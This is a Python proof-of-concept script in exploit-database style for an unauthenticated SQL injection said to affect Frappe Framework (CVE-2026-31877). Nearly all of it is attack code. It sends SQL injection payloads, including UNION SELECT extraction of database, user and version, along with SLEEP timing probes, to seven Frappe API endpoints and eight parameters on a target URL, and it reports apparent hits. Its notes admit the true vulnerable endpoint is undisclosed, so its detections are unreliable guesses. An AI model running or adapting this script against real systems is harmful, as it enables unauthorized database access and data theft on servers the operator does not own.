#!/usr/bin/env python3
# Exploit Title: Frappe Framework Unauthenticated SQL Injection
# CVE: CVE-2026-31877
# Date: 2026-03-11
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://frappeframework.com
# Software Link: https://github.com/frappe/frappe
# Affected: Frappe Framework <14.99.0 and <15.84.0
# Tested on: Frappe Framework 15.x (vulnerable versions)
# Category: Webapps
# Platform: Linux / Web
# Exploit Type: Remote SQL Injection
# CVSS: 9.3 (CRITICAL)
# CWE : CWE-89
# Description: Unauthenticated SQL injection via improper field sanitization in certain API endpoints allows extraction of sensitive database information.
# Fixed in: 14.99.0 / 15.84.0
# Usage: python3 exploit.py <target>
#
# Examples:
# python3 exploit.py http://192.168.1.100:8000
#
# Options:
#
# Notes: This is a template PoC. The exact vulnerable parameter/endpoint remains undisclosed in the public advisory (GHSA-2c4m-999q-xhx4).
# Tests common historical Frappe injection points. Use only on systems you own or have explicit permission to test.
#
# How to Use
#
# Step 1: Run against a vulnerable instance (non-production only)
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ▄▄▄▄· ▄▄ ▄. ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║
║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║
║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║
║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║
║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║
║ ║
║ b a n y a m e r _ s e c u r i t y ║
║ ║
║ >>> Silent Hunter • Shadow Presence <<< ║
║ ║
║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ CVE-2026-31877 • Frappe SQL Injection (Unauthenticated) ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
import sys
import requests
import time
import argparse
def test_sqli(base_url, endpoint, param, payload):
full_url = f"{base_url.rstrip('/')}{endpoint}"
data = {param: payload}
print(f"[*] Testing {full_url} → {param} = {payload[:60]}...")
try:
start = time.time()
r = requests.post(full_url, json=data, timeout=12, verify=False)
elapsed = time.time() - start
indicators = [
"syntax error", "mysql", "sql", "near", "you have an error",
"ODBC", "quoted_string", "unclosed quotation", "table", "column",
elapsed > 5
]
success = any(ind in r.text.lower() for ind in indicators[:10]) or elapsed > 5
if success:
print(f"[!!!] Possible SQLi – response code {r.status_code}")
print(f" Time: {elapsed:.2f}s")
print(f" Snippet: {r.text[:400]}...")
return True
else:
print(f" → No obvious injection (code {r.status_code}, len={len(r.text)})")
return False
except Exception as e:
print(f" → Request failed: {e}")
return False
def main(target):
common_endpoints = [
"/api/method/frappe.desk.reportview.get",
"/api/method/frappe.model.db_query.get_list",
"/api/method/frappe.client.get_list",
"/api/method/frappe.desk.query_report.run",
"/api/resource/User",
"/api/method/frappe.search.search_link",
"/api/method/frappe.desk.form.load.getdoc",
]
common_params = [
"filters",
"or_filters",
"fields",
"order_by",
"group_by",
"with_parent",
"parent_doctype",
"txt",
]
payloads = [
"' OR '1'='1",
"') OR ('1'='1",
"' OR 1=1 -- ",
"1' UNION SELECT database(),user(),version() -- ",
"'; SELECT SLEEP(5) -- ",
"1' AND SLEEP(5) -- ",
]
print(f"[+] Target: {target}\n")
found = False
for ep in common_endpoints:
for p in common_params:
for payload in payloads:
if test_sqli(target, ep, p, payload):
print(f"[+] Possible vulnerable combination:")
print(f" Endpoint: {ep}")
print(f" Param: {p}")
print(f" Payload: {payload}")
found = True
if not found:
print("\n[-] No injection detected with these common patterns.")
print(" → Either patched / not vulnerable, or different endpoint/param.")
print(" → Wait for public details or analyze source diff yourself.")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2026-31877 Frappe SQLi PoC template")
parser.add_argument("target", help="Base URL, e.g. http://192.168.1.50:8000")
args = parser.parse_args()
if not args.target.startswith(("http://", "https://")):
args.target = "http://" + args.target
try:
main(args.target)
except KeyboardInterrupt:
print("\n[!] Stopped by user.")
except Exception as e:
print(f"\n[!] Fatal error: {e}")